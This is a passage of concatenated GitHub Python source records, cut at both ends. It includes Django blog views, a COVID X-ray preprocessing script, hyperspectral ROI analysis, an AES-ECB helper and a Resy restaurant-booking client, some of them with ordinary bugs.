XRPUSDT = ('XRP', 'USDT')\n CRVUSDT = ('CRV', 'USDT')\n LUNAUSDT = ('LUNA', 'USDT')\n ATOMUSDT = ('ATOM', 'USDT')\n QNTUSDT = ('QNT', 'USDT')\n CLVUSDT = ('CLV', 'USDT')\n AXSUSDT = ('AXS', 'USDT')\n MANAUSDT = ('MANA', 'USDT')\n LINAUSDT = ('LINA', 'USDT')\n\n def new(name, base, quote):\n return extend_enum(Symbol, name, (base, quote))\n\nclass BinanceCandle(Enum):\n OPENTIME = ('opentime', int)\n OPEN = ('open', float)\n HIGH = ('high', float)\n LOW = ('low', float)\n CLOSE = ('close', float)\n VOLUME = ('volume', float)\n CLOSETIME = ('closetime', int)\n QUOTE = ('quote', float)\n TRADES = ('trades', int)\n TAKER_BASE_VOLUME = ('taker_basevol', float)\n TAKER_QUOTE_VOLUME = ('taker_quotevol', float)\n IGNORE = ('ignore', float)\n","repo_name":"kuco23/Trady","sub_path":"lib/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11542376232","text":"from blog.forms import commentform\nfrom .forms import commentform\nfrom .models import Post, comment\nfrom django.http.response import HttpResponse\nfrom django.shortcuts import render\n\n\n# Create your views here.\n\ndef index(req):\n posts = Post.objects.all()\n \n context = {\n 'posts' : posts\n } \n\n return render(req, 'index.html', context = context)\n\n\ndef post_detail(req, post_slug):\n post = Post.objects.get(slug=post_slug)\n\n \n\n if req.method == 'POST':\n comment_form = commentform(data=req.POST)\n if comment_form.is_valid():\n \n comment_new = comment_form.save(commit=False)\n comment_new.post = post \n comment_new.save() \n\n else:\n comment_form = commentform()\n\n context = {\n 'post' : post,\n 'comment_form' : comment_form\n }\n return render(req, 'detail.html', context = context)\n","repo_name":"ishan004/Learn-Blogproj","sub_path":"blog/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20716508165","text":"import pandas as pd\nimport numpy as np\n\ndata = pd.read_csv('data_extraction/output/individual_pair_data/adversary_disagree_with_majority.csv', sep='\\t')\ndf = pd.DataFrame(data=data)\n\nsLength = len(df['experiment'])\ndf = df.assign(guess = pd.Series(np.random.randn(sLength)).values)\n\nthresholds = [0.3, 0.4, 0.5, 0.6]\n\n#add another threshold (don't suspect until 15 sec, only when every neighbor has selected a color)\ntime_thresholds = [20]\n\n\n# list_of_suspicions = []\n\nfor threshold in thresholds:\n\tfor time_threshold in time_thresholds:\n\t\tfor experiment in df['experiment'].unique():\n\t\t\tfor game in df[df['experiment'].isin([experiment])]['game'].unique():\n\t\t\t\t# print('exp: ' + experiment + 'game: ' + str(game))\n\t\t\t\tindices = df[df['experiment'].isin([experiment]) & df['game'].isin([game])]['time'].index\n\t\t\t\tfor idx in indices:\n\t\t\t\t# for tmp in df[df['experiment'].isin([experiment]) & df['game'].isin([game])]['time']:\n\t\t\t\t\ttmp = df[df['experiment'].isin([experiment]) & df['game'].isin([game])]['time'].ix[idx]\n\t\t\t\t\tdisagree_times = tmp.strip('[')\n\t\t\t\t\tdisagree_times = disagree_times.strip(']')\n\t\t\t\t\tdisagree_times = [int(x) for x in disagree_times.split(' ')]\n\t\t\t\t\tacc = 0\n\t\t\t\t\tsuspect = False\n\t\t\t\t\tfor i in range(1, 60):\n\t\t\t\t\t\tif i in disagree_times:\n\t\t\t\t\t\t\tacc += 1\n\t\t\t\t\t\tif (acc / i) >= threshold and i > time_threshold:\n\t\t\t\t\t\t\tsuspect = True\n\t\t\t\t\t\tif suspect:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\tdf.set_value(idx, 'guess', suspect)\n\t\t\t\t\t# df[df['experiment'].isin([experiment]) & df['game'].isin([game]) & df['time'].isin[tmp]]['guess'] = suspect\n\t\t\t\t\t# list_of_suspicions.append(suspect)\n\n\t\t# list_of_suspicions = pd.Series(list_of_suspicions)\n\t\t# df = df.assign(guess = list_of_suspicions.values)\n\t\tdf.to_csv('data_extraction/output/individual_pair_data/guesses.csv', sep='\\t')\n\n\t\t# correct = 0\n\t\t# indices = df['adversary'].index\n\t\t# for idx in indices:\n\t\t# \tif int(df['adversary'].ix[idx]) == int(df['guess'].ix[idx]):\n\t\t# \t\tcorrect += 1\n\t\t# final_accuracy = float(correct) / float(len(df['adversary']))\n\t\t# print('accuracy: ' + str(final_accuracy))\n\n\n\t\tdata2 = pd.read_csv('data_extraction/output/individual_pair_data/guesses.csv', sep='\\t')\n\t\tdf2 = pd.DataFrame(data=data2)\n\n\n\t\t\t#add another threshold (don't suspect until 15 sec, only when every neighbor has selected a color)\n\n\t\tcorrect = 0\n\t\tindices = df2['adversary'].index\n\t\ttotal_reg = 0\n\t\ttotal_adv = 0\n\t\tmislabel_regular = 0\n\t\tcorrectly_label_adversary = 0\n\t\tfor idx in indices:\n\t\t\tactual = int(df2['adversary'].ix[idx])\n\t\t\tguess = int(df2['guess'].ix[idx])\n\t\t\tif actual == 0:\n\t\t\t\t#regular\n\t\t\t\ttotal_reg += 1\n\t\t\t\tif guess == 1:\n\t\t\t\t\tmislabel_regular += 1\n\t\t\telif actual == 1:\n\t\t\t\t#adversary\n\t\t\t\ttotal_adv += 1\n\t\t\t\tif guess == 1:\n\t\t\t\t\tcorrectly_label_adversary += 1\n\t\tregulars_mislabeled = float(mislabel_regular) / float(total_reg)\n\t\tregulars_correctly_labeled = 1 - regulars_mislabeled\n\t\tadversaries_correctly_labeled = float(correctly_label_adversary) / float(total_adv)\n\t\tmaximize_this = regulars_correctly_labeled + adversaries_correctly_labeled\n\t\t# print('regulars mislabeled as adversaries: ' + str(regulars_mislabeled))\n\t\t# print('adversaries guessed correctly: ' + str(adversaries_correctly_labeled))\n\t\tprint(\"threshold: \" + str(threshold) + \" time_threshold: \" + str(time_threshold) + \" regulars_correct: \" + str(regulars_correctly_labeled) + \" adversarries correct: \" + str(adversaries_correctly_labeled) + \" sum: \" + str(maximize_this))\n","repo_name":"yifan-guo/dc_simulation","sub_path":"src/generate_suspicions.py","file_name":"generate_suspicions.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"27216909303","text":"class Garden:\n def __init__(self, diagram, students):\n \n self.diagram = diagram.split('\\n') \n self.students = ['Alice', 'Bob', 'Charlie', 'David',\n 'Eva', 'Fred', 'Ginny', 'Harriet',\n 'Ileana', 'Joseph', 'Kincaid','Larry']\n \n def plants(self,student):\n \n plants = {'G':'Glover','C':'Clover','R':'Radishes','V':'Violets'}\n index = self.students.index(student)*2\n \n plant_stu = self.diagram[0][index]+self.diagram[0][index+1]+self.diagram[1][index]+self.diagram[1][index+1]\n \n final_plants = []\n temp = 0\n \n for i in plant_stu:\n \n final_plants[temp] = plants[i]\n temp+=1\n \n return final_plants\n \n \n \n \n \n ","repo_name":"jdovale12/exercism_python","sub_path":"kindergarten-garden/kindergarten_garden.py","file_name":"kindergarten_garden.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3823711753","text":"import os\nfrom torchvision import datasets, transforms\nimport torch\nimport numpy as np\nimport shutil\nimport random\n\n\ndef copytree(src, dst, symlinks=False, ignore=None):\n \"\"\"\n Recursively copies a directory tree from source to destination.\n\n Args:\n src (str): Source directory path.\n dst (str): Destination directory path.\n symlinks (bool, optional): If True, copies symbolic links as links instead of copying the linked file/directory. Default is False.\n ignore (function, optional): A function that takes a directory name and filenames as input and returns a list of filenames to ignore during the copy process. Default is None.\n\n Raises:\n Error: If source directory does not exist or if there is an error during the copy process.\n\n Note:\n - The `src` directory and its contents will be copied to the `dst` directory, recursively.\n - If the `dst` directory does not exist, it will be created.\n - If a file or directory already exists in the `dst` directory with the same name, it will be overwritten.\n\n Example:\n >>> copytree('/path/to/source', '/path/to/destination')\n >>> copytree('/path/to/source', '/path/to/destination', symlinks=True)\n >>> copytree('/path/to/source', '/path/to/destination', ignore=shutil.ignore_patterns('*.txt', '*.log'))\n\n \"\"\"\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s):\n shutil.copytree(s, d, symlinks, ignore)\n else:\n shutil.copy2(s, d)\n\n\ndef correction(data_dir):\n \"\"\"\n Corrects the data directory to have the same number of images for each class.\n :param data_dir: path to the data directory\n :return: None\n\n Note:\n - The `data_dir` directory and its contents will be copied to the `data_dir` directory, recursively.\n - If the `data_dir` directory does not exist, it will be created.\n - If a file or directory already exists in the `data_dir` directory with the same name, it will be overwritten.\n \"\"\"\n root = os.path.split(data_dir)[0]\n new_path = os.path.join(root, \"Balanced\")\n if not os.path.isdir(new_path):\n os.mkdir(new_path)\n\n # For NOFINDING\n pre_nofind = os.path.join(data_dir, \"NOFINDING\")\n current_nofind = os.path.join(new_path, \"NOFINDING\")\n if not os.path.isdir(current_nofind):\n os.mkdir(current_nofind)\n NOFIND = os.listdir(pre_nofind)\n\n ran = random.sample(NOFIND, 363)\n for r in ran:\n old = os.path.join(pre_nofind, r)\n new = os.path.join(current_nofind, r)\n shutil.copy2(old, new)\n shutil.rmtree(pre_nofind)\n\n # For COVID\n previous = os.path.join(data_dir, \"COVID-19\")\n current_COVID = os.path.join(new_path, \"COVID-19\")\n if not os.path.isdir(current_COVID):\n os.mkdir(current_COVID)\n for dirpath, dirnames, filenames in os.walk(previous):\n for file in filenames:\n old = os.path.join(dirpath, file)\n new = os.path.join(current_COVID, file)\n shutil.copy2(old, new)\n shutil.rmtree(previous)\n\n # For THORAXDISEASE\n pre_thor = os.path.join(data_dir, \"THORAXDISEASE\")\n current_thor = os.path.join(new_path, \"THORAXDISEASE\")\n if not os.path.isdir(current_thor):\n os.mkdir(current_thor)\n THOR = os.listdir(pre_thor)\n\n ran = random.sample(THOR, 363)\n for r in ran:\n old = os.path.join(pre_thor, r)\n new = os.path.join(current_thor, r)\n shutil.copy2(old, new)\n shutil.rmtree(pre_thor)\n\n shutil.rmtree(data_dir)\n return new_path\n\n\n# targets: 0 - COVID-19, 1 - NOFINDING, 2 - THORAXDISEASE\ndef dataload(data_dir, batch_size=20):\n \"\"\"\n Loads the data from the data directory and returns the train, valid, and test dataloaders.\n :param data_dir: path to the data directory\n :param batch_size: batch size\n :return: train, valid, and test dataloaders\n \"\"\"\n # Define dataloader parameters\n num_workers = 0\n\n # Define data transformations\n data_transform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n # Load dataset and randomly choose 512 samples\n dataset = datasets.ImageFolder(data_dir, transform=data_transform)\n dataset = torch.utils.data.Subset(\n dataset, np.random.choice(len(dataset), 512, replace=False))\n\n print(\"Total number of images loaded:\", len(dataset))\n\n # Split dataset into train, valid, and test sets\n train, valid, test = torch.utils.data.random_split(dataset, [\n round(0.7 * len(dataset)),\n round(0.2 * len(dataset)),\n len(dataset) - round(0.7 * len(dataset)) - round(0.2 * len(dataset))\n ])\n\n # Create dataloaders for train, valid, and test sets\n trainLoader = torch.utils.data.DataLoader(\n train, batch_size=batch_size, num_workers=num_workers, shuffle=True)\n validLoader = torch.utils.data.DataLoader(\n valid, batch_size=batch_size, num_workers=num_workers, shuffle=True)\n testLoader = torch.utils.data.DataLoader(\n test, batch_size=batch_size, num_workers=num_workers, shuffle=True)\n\n return trainLoader, validLoader, testLoader\n\n\ndef make_weights_for_balanced_classes(images, nclasses):\n \"\"\"\n Makes a list of weights for each image in the dataset to balance the classes.\n :param images: list of images\n :param nclasses: number of classes\n :return: list of weights\n\n Note:\n - The weights are inversely proportional to the number of images in each class.\n \"\"\"\n count = np.zeros(nclasses)\n for item in images:\n count[item[1]] += 1\n\n weight_per_class = np.zeros(nclasses)\n N = float(len(images))\n weight_per_class = N / count\n\n weight = [weight_per_class[item[1]] for item in images]\n\n return weight\n\n\ndef main():\n # Make a balanced dataset\n data_dir = 'CSC413Project/COVID-19 Radiography Database'\n data_dir = correction(data_dir)\n\n # Load the data\n trainLoader, validLoader, testLoader = dataload(data_dir=data_dir)\n","repo_name":"BradyHuai/Identifying-COVID-19-Patients-with-X-ray-Images","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6128,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"14801959431","text":"import os\nimport sys\nimport time\nfrom functools import partial\nfrom multiprocessing import Pool\nfrom typing import List, Dict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\n\nimport tiff_tool as tt\n\n\ndef timer(func):\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n print(\"Function %s took %f s\" % (func.__name__, end_time - start_time))\n return result\n return wrapper\n\n\ndef normalize(array: np.ndarray) -> np.ndarray:\n \"\"\"\n Normalize a 1D numpy array to [0,1].\n\n Args:\n array (np.ndarray): A 1D numpy array to be normalized.\n\n Returns:\n np.ndarray: A normalized 1D numpy array.\n\n Raises:\n AssertionError: If the input is not a 1D numpy array.\n\n \"\"\"\n assert isinstance(array, np.ndarray), \"Input must be a numpy array\"\n # assert len(array.shape) == 1, \"Input must be a 1D numpy array\"\n\n max_val = np.max(array)\n min_val = np.min(array)\n\n new_arr = (array - min_val) / (max_val - min_val)\n return new_arr\n\n\n# 产生感兴趣区的蒙版\ndef roi(vi: np.ndarray, geotransform: tuple, projection: str, roi_limit: np.ndarray, save_path: str) -> np.ndarray:\n \"\"\"\n 产生感兴趣区的蒙版并保存为tif格式\n Args:\n - vi: 一个numpy数组, 包含原始数据\n - geotransform: 一个元组，包含数据的地理变换信息\n - projection: 一个字符串，包含数据的投影信息\n - roi_limit: 一个numpy数组, 指定感兴趣区的坐标范围\n - save_path: 一个字符串，指定蒙版保存路径\n\n Returns:\n - 一个numpy数组, 表示感兴趣区的蒙版\n \"\"\"\n w1s1_ = np.zeros((4, 2), dtype=int)\n w1s1_[:, 0] = (roi_limit[:, 0] - geotransform[3]) / geotransform[5]\n w1s1_[:, 1] = (roi_limit[:, 1] - geotransform[0]) / geotransform[1]\n\n index = np.argwhere(vi)\n shape = index.shape\n index1 = np.zeros(shape)\n x, y = index[:, 0], index[:, 1]\n xx, yy = w1s1_[:, 0], w1s1_[:, 1]\n\n arr1 = (y - yy[1]) / (yy[0] - yy[1]) - (x - xx[1]) / (xx[0] - xx[1])\n arr1[arr1 > 0] = 1\n arr1[arr1 < 0] = 0\n arr2 = (y - yy[2]) / (yy[1] - yy[2]) - (x - xx[2]) / (xx[1] - xx[2])\n arr2[arr2 > 0] = 0\n arr2[arr2 < 0] = 1\n arr3 = (y - yy[3]) / (yy[2] - yy[3]) - (x - xx[3]) / (xx[2] - xx[3])\n arr3[arr3 > 0] = 1\n arr3[arr3 < 0] = 0\n arr4 = (y - yy[0]) / (yy[3] - yy[0]) - (x - xx[0]) / (xx[3] - xx[0])\n arr4[arr4 > 0] = 0\n arr4[arr4 < 0] = 1\n\n arr_ = arr1 * arr2 * arr3 * arr4\n index1[:, 0] = x * arr_\n index1[:, 1] = y * arr_\n shape1 = vi.shape\n vi1 = np.zeros(shape1)\n for i_ in index1:\n vi1[int(i_[0]), int(i_[1])] = 1\n vi1[0, 0] = 0\n tt.write_tif(save_path, vi1, geotransform, projection)\n return vi1\n\n\n# 裁切所有的感兴趣区并且输出效果图\n@timer\ndef roi_cut(path_date_weather, csv_path, roi_names):\n \"\"\"\n 该函数的功能是从一系列的NDVI图像中提取出感兴趣的区域(ROI)并将其保存为单独的TIFF文件。\n Args:\n path_date_weather: 包含NDVI图像的文件夹路径\n csv_path: 包含ROI区域限制值的CSV文件路径, CSV文件应该具有行列与ROI名称的对应关系\n \"\"\"\n limit_value = pd.read_csv(csv_path, index_col=0).values\n\n # 检测目标文件夹是否存在\n dst_folder = os.path.join(path_date_weather, 'roi')\n if not os.path.exists(dst_folder):\n # 如果子文件夹不存在，创建它\n os.makedirs(dst_folder)\n\n ndvi, geo, proj = tt.read_tif(os.path.join(path_date_weather, \"vi\", \"ndvi.tif\"))\n # 定义一个进程池\n cup_count = os.cpu_count()\n roi_layers = [] # 存储所有的ROI蒙版\n with Pool(processes=cup_count) as pool:\n # 对每个区域都启动一个进程进行处理\n for i_ in range(20):\n area = limit_value[i_, :].reshape(2, 4).T\n save_path = os.path.join(path_date_weather, 'roi', roi_names[i_])\n # 使用 partial 函数固定部分参数，方便进程池调用\n func = partial(roi, ndvi, geo, proj, area, save_path)\n result = pool.apply_async(func)\n # roi_layers.append(result.get()) # 将ROI蒙版添加到列表中\n\n # 等待所有进程完成\n pool.close()\n pool.join()\n\n # # 将所有的ROI蒙版合成一个多层的numpy数组\n # roi_array = np.stack(roi_layers, axis=0)\n # # 将多层的numpy数组保存为TIFF文件\n # tt.write_tif(os.path.join(path_date_weather, 'roi', 'roi.tif'), roi_array, geo, proj)\n\n # return roi_array\n\n\n# 检测roi的位置是否正确\n@timer\ndef check_roi_site(dir_path_):\n roi_files = ['w{}s{}.tif'.format(w, s) for w in range(1, 5) for s in range(1, 6)]\n\n roi_masks = []\n # 逐个读取 ROI 图像\n for roi_file in roi_files:\n roi_path = os.path.join(dir_path_, 'roi', roi_file)\n roi_mask = tt.read_tif_array(roi_path)\n roi_masks.append(roi_mask)\n\n # 将所有 ROI 图像叠加\n roi_mask = np.sum(roi_masks, axis=0)\n\n # 检测目标文件是否存在\n dst_file = os.path.join(dir_path_, '5ref', 'rgb.tif')\n if not os.path.exists(dst_file):\n # 如果文件不存在，创建它\n ref, geo, proj = tt.read_tif(os.path.join(dir_path_, \"5ref\", \"ref.bip\"))\n r, g, b = ref[58, :, :], ref[36, :, :], ref[18, :, :]\n del ref\n rgb = np.stack((r, g, b), axis=-1)\n rgb_image = normalize(rgb) # rgb归一化\n rgb_image[rgb_image == 0] = 1\n tt.write_tif(dst_file, rgb_image, geo, proj)\n else:\n rgb_image, geo, proj = tt.read_tif(dst_file)\n\n roi_mask = roi_mask * 0.4\n roi_mask = np.stack((roi_mask, roi_mask, roi_mask), axis=-1)\n rgb_image = rgb_image + roi_mask\n rgb_image = normalize(rgb_image)\n\n # plot\n fig, ax = plt.subplots(figsize=(12, 8), constrained_layout=1)\n ax.imshow(rgb_image)\n ax.set_axis_off()\n plt.savefig(os.path.join(dir_path_, 'roi', 'roi.png'), dpi=300)\n plt.show()\n plt.close()\n\n\n@timer\ndef data_in_roi(vi_name: str, date_weather_path: str) -> None:\n \"\"\"\n 将ROI中的VI数据保存到csv文件中\n \"\"\"\n roi_names = ['w{}s{}'.format(w, s) for w in range(1, 5) for s in range(1, 6)]\n VI_dict = {}\n\n vi = tt.read_tif_array(os.path.join(date_weather_path, 'vi', vi_name+'.tif'))\n max_ = 0\n for i_ in range(20):\n mask = tt.read_tif_array(os.path.join(date_weather_path, 'roi', roi_names[i_]+'.tif'))\n vi_in_ROI = vi * mask\n vi_in_ROI = vi_in_ROI[vi_in_ROI != 0]\n vi_in_ROI = vi_in_ROI[~np.isnan(vi_in_ROI)]\n if len(vi_in_ROI) >= max_:\n max_ = len(vi_in_ROI)\n\n for i_ in range(20):\n mask = tt.read_tif_array(os.path.join(date_weather_path, 'roi', roi_names[i_]+'.tif'))\n vi_in_ROI = vi * mask\n vi_in_ROI = vi_in_ROI[vi_in_ROI != 0]\n vi_in_ROI = vi_in_ROI[~np.isnan(vi_in_ROI)]\n arr = np.empty(max_-len(vi_in_ROI))\n arr[:] = np.nan\n arr1 = np.hstack((vi_in_ROI, arr))\n VI_dict[roi_names[i_]] = arr1\n\n df = pd.DataFrame(VI_dict)\n df.to_csv(os.path.join(date_weather_path, 'vi', vi_name+'.csv'))\n\n\n@timer\ndef ref_in_roi(path: str, ref: np.ndarray, roi_names: List[str]) -> Dict[str, np.ndarray]:\n \"\"\"\n 计算ROI中每个波段上的参考数据平均值\n Args:\n path(str): 存放ROI和csv文件的路径\n ref(np.ndarray): 参考数据\n roi_names(List[str]): ROI名称列表\n Returns:\n ref_mean_dict(Dict[str, np.ndarray]): ROI中每个波段上的参考数据平均值\n \"\"\"\n ref_mean_dict: Dict[str, np.ndarray] = {}\n\n for roi_name in roi_names:\n roi_path = os.path.join(path, 'roi', roi_name + '.tif')\n\n mask = tt.read_tif_array(roi_path)\n ref_ = ref * mask\n flat_arr = np.moveaxis(ref_, 0, -1).reshape((-1, 150))\n\n nonzero_idx = np.nonzero(flat_arr)\n nonzero_wave_idx, nonzero_pixel_idx = nonzero_idx[1], nonzero_idx[0]\n\n nonzero_value = flat_arr[nonzero_pixel_idx]\n result = np.nanmean(nonzero_value, axis=0)\n ref_mean_dict[roi_name] = result\n\n df = pd.DataFrame(ref_mean_dict)\n df.to_csv(os.path.join(path, '5ref', 'vege_ref_in_roi.csv'))\n del df, ref_mean_dict\n\n\ndef test_ref_plot(path: str, wavelength_path: str):\n \"\"\"\n 检查ROI的反射率文件是否正确合理\n Args:\n path(str): 存放ROI的反射率csv文件父文件夹的路径\n Returns:\n None\n \"\"\"\n df = pd.read_csv(os.path.join(path, '5ref', 'vege_ref_in_roi.csv'), encoding='utf-8', index_col=0)\n roi_names = list(df.columns.values)\n wl = np.loadtxt(wavelength_path)[:, 0]\n fig, ax = plt.subplots(figsize=(8, 6), constrained_layout=1)\n color = plt.get_cmap('viridis', len(roi_names)) # 设置colormap，数字为颜色数量\n for i_ in range(len(roi_names)):\n ax.plot(wl, df[roi_names[i_]],\n linewidth=1, label=roi_names[i_],\n alpha=0.7, solid_capstyle='round', c=color(i_))\n plt.xlabel('Wavelength(nm)')\n plt.ylabel('Reflectance')\n plt.title('Vegetation reflectance of ROIs')\n plt.legend()\n plt.show()\n plt.close()\n\n\ndef main(path_):\n roi_limit_path = os.path.join('docs', 'Interest_Area.csv')\n ref_in_vege = np.load(os.path.join(path_, '5ref', 'ref_in_vege.npy'))\n roi_names = ['w{}s{}'.format(w, s) for w in range(1, 5) for s in range(1, 6)]\n\n roi_cut(path_, roi_limit_path, roi_names)\n check_roi_site(path_)\n ref_in_roi(path_, ref_in_vege, roi_names)\n # test_ref_plot(path_, os.path.join('/Volumes', 'HyperSpec', '50_target_resample.txt'))\n\n\nif __name__ == '__main__':\n if sys.platform == \"win32\":\n disk1 = 'D:'\n disk2 = 'E:'\n elif sys.platform == \"darwin\":\n disk1 = os.path.join('/Volumes', 'HyperSpec')\n disk2 = os.path.join('/Volumes', 'HyperSpecII')\n else: # 默认为 Linux\n disk1 = None\n disk2 = None\n paths = [\"2022_7_5_sunny\", ]\n # paths = [\"2022_7_5_sunny\", \"2022_7_9_cloudy\", \"2022_7_12_sunny\",\n # \"2022_7_13_cloudy\", \"2022_7_16_sunny\", \"2022_7_20_sunny\",\n # \"2022_7_23_sunny\", \"2022_7_27_sunny\", \"2022_8_2_sunny\",\n # \"2022_8_9_cloudy\", \"2022_8_13_cloudy\", \"2022_8_14_sunny\",\n # \"2022_8_16_sunny\", \"2022_8_20_sunny\", \"2022_8_24_cloudy\"]\n\n for i in tqdm(range(len(paths))):\n if i < 9:\n main(os.path.join(disk1, paths[i]))\n else:\n main(os.path.join(disk2, paths[i]))\n","repo_name":"Flemyng1999/Reflectance_Process_1","sub_path":"roi_cut.py","file_name":"roi_cut.py","file_ext":"py","file_size_in_byte":10578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"17830509470","text":"from Crypto.Cipher import AES\nimport base64\nimport json\n\n\nBLOCK_SIZE = 16 # Bytes\n\n\ndef pad(s):\n return s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \\\n chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)\n\n\ndef unpad(s):\n return s[:-ord(s[len(s) - 1:])]\n\n\ndef aesEncrypt(key, data): # 加密\n '''\n AES的ECB模式加密方法\n :param key: 密钥\n :param data:被加密字符串（明文）\n :return:密文\n '''\n key = key.encode('utf8')\n # 字符串补位\n data = pad(data)\n cipher = AES.new(key, AES.MODE_ECB)\n # 加密后得到的是bytes类型的数据，使用Base64进行编码,返回byte字符串\n result = cipher.encrypt(data.encode())\n encodestrs = base64.b64encode(result)\n enctext = encodestrs.decode('utf8')\n ret = enctext.replace('/', '#')\n return ret\n\n\ndef aesDecrypt(key, data): # 解密\n '''\n :param key: 密钥\n :param data: 加密后的数据（密文）\n :return:明文\n '''\n key = key.encode('utf8')\n data = base64.b64decode(data)\n cipher = AES.new(key, AES.MODE_ECB)\n\n # 去补位\n text_decrypted = unpad(cipher.decrypt(data))\n ret = text_decrypted.decode('utf8')\n print(ret)\n return ret\n\n\nif __name__ == '__main__':\n key = 'ja72jks98x72masx'\n data = {\n \"keywords\": \"123\",\n \"currentPage\": 1,\n \"pageSize\": 20,\n \"allGroupIds\": [2705]\n }\n # ecdata = aesEncrypt(\n # key, '{\"keywords\":\"123\",\"currentPage\":1,\"pageSize\":20,\"allGroupIds\":[2705]}'\n # )\n\n # m = 'bPHRxFs42t0EDLGA3+w7t4yUyNJKCI+iS91jvhb8UfbIlCjUT15#ZJehWAzil21oUoOcYW9QkwCfxw7u4NbYYH#xZLwd0Bl9yIS3NkiwPowEZN4nM#dCvnEZ0Ac5xp6s'\n # dcdata = aesDecrypt(key, m.replace('#', '/'))\n # aesDecrypt(key, ecdata)\n\n# 参考\n# https://blog.csdn.net/guohao326/article/details/104695459/\n# https://blog.csdn.net/chouzhou9701/article/details/122019967\n# https://blog.csdn.net/Herishwater/article/details/92131547\n","repo_name":"earWind/lin2x","sub_path":"Python/haixue/ECB.py","file_name":"ECB.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"4535483061","text":"from bookingengine.resplatform import ResPlatform\nimport logging\nimport requests\nfrom datetime import datetime, timedelta\n\nlogger = logging.getLogger('resy')\n\nclass Resy(ResPlatform):\n\n DATE_FMT = '%Y-%m-%d'\n\n def __init__(self, *args, **kwargs):\n headers = {\n 'accept-encoding': 'gzip, deflate, br',\n 'origin': 'https://widgets.resy.com',\n 'referer': 'https://widgets.resy.com/',\n 'x-origin': 'https://widgets.resy.com',\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36'\n }\n\n self.venue_id = kwargs.get('venue_id')\n self.party_size = kwargs.get('party_size')\n if self.venue_id is None or self.party_size is None:\n raise TypeError\n\n super().__init__(headers)\n\n def authenticate(self, *args, **kwargs):\n auth_token = kwargs.get('auth_token')\n api_key = kwargs.get('api_key')\n if auth_token is None or api_key is None:\n raise TypeError\n\n headers = {\n 'authorization': 'ResyAPI api_key=\"{}\"'.format(api_key),\n 'x-resy-auth-token': auth_token,\n 'x-resy-universal-auth': auth_token\n }\n self.update_headers(headers)\n\n def get_available_times(self):\n max_weeks = 8\n current_day = datetime.today()\n\n for i in range(max_weeks):\n num_weeks = timedelta(days=7*i)\n start = (current_day + num_weeks).strftime(self.DATE_FMT)\n end = (current_day + timedelta(days=7) + num_weeks).strftime(self.DATE_FMT)\n days = self.get_available_days(start, end)\n if len(days) > 0:\n logging.info('Found available days: %s', ','.join(days))\n else:\n logging.info('No available days between %s and %s', start, end)\n\n if len(days) == 0:\n logging.info(\"No available days\")\n return {}\n\n self.time_slots = {}\n for day in days:\n self.time_slots.update(self.find_bookings(day))\n\n if len(time_slots) == 0:\n logging.info('No available times')\n\n return self.time_slots\n\n def book(self, time_slot):\n return True, \"54321\"\n booking_token = get_booking_token(time_slot, self.available_time_slots[time_slot]['token'])\n confirmation = self.make_booking(booking_token)\n return confirmation\n\n def get_available_days(self, start, end):\n params = {\n 'venue_id': self.venue_id,\n 'num_seats': self.party_size,\n 'start_date': start,\n 'end_date': end\n }\n url = 'https://api.resy.com/4/venue/calendar'\n\n r = self.session.get(url, params=params)\n\n # TODO: Some error handling for bad requests etc\n\n available_days = []\n data = r.json()\n logging.debug(f'{data}')\n\n for inventory_obj in data['scheduled']:\n logging.debug('Availability for %s on %s: %s', self.venue_id, inventory_obj['date'], inventory_obj['inventory']['reservation'])\n if inventory_obj['inventory']['reservation'] == 'available':\n available_days.append(inventory_obj['date'])\n return available_days\n\n def find_bookings(self, day):\n params = {\n 'venue_id': self.venue_id,\n 'day': day,\n 'lat': 0,\n 'long': 0,\n 'party_size': self.party_size\n }\n r = self.session.get('https://api.resy.com/4/find', params=params)\n self.log_request(r)\n\n data = r.json()\n # TODO: See what happens when there are no time slots, or maybe this manifest since available_days\n # would not populate a day w/o open time slots\n\n time_slots = data['results']['venues'][0]['slots']\n\n token_obj = {}\n for ts in time_slots:\n token = ts['config']['token']\n dining_type = ts['config']['type']\n key = ts['date']['start']\n token_obj[key] = {\n 'type': dining_type,\n 'token': token\n }\n\n return token_obj\n\n\n def get_booking_token(self, day_token, config_token):\n url = 'https://api.resy.com/3/details'\n payload = {\n 'commit': 1,\n 'config_id': config_token,\n 'day': day_token[:day_token.find(\" \")],\n 'party_size': self.party_size\n }\n\n r = self.session.post(url, json=payload)\n self.log_request(r)\n data = r.json()\n book_token = data['book_token']['value']\n return book_token\n\n def make_booking(self, book_token, test=False):\n\n url = 'https://api.resy.com/3/book'\n if test:\n url='https://en7ghrdxqtapb.x.pipedream.net/'\n payload = {\n 'book_token': book_token,\n 'struct_payment_method': '{\"id\":16651865}',\n 'source_id': 'resy.com-venue-details',\n }\n\n r = 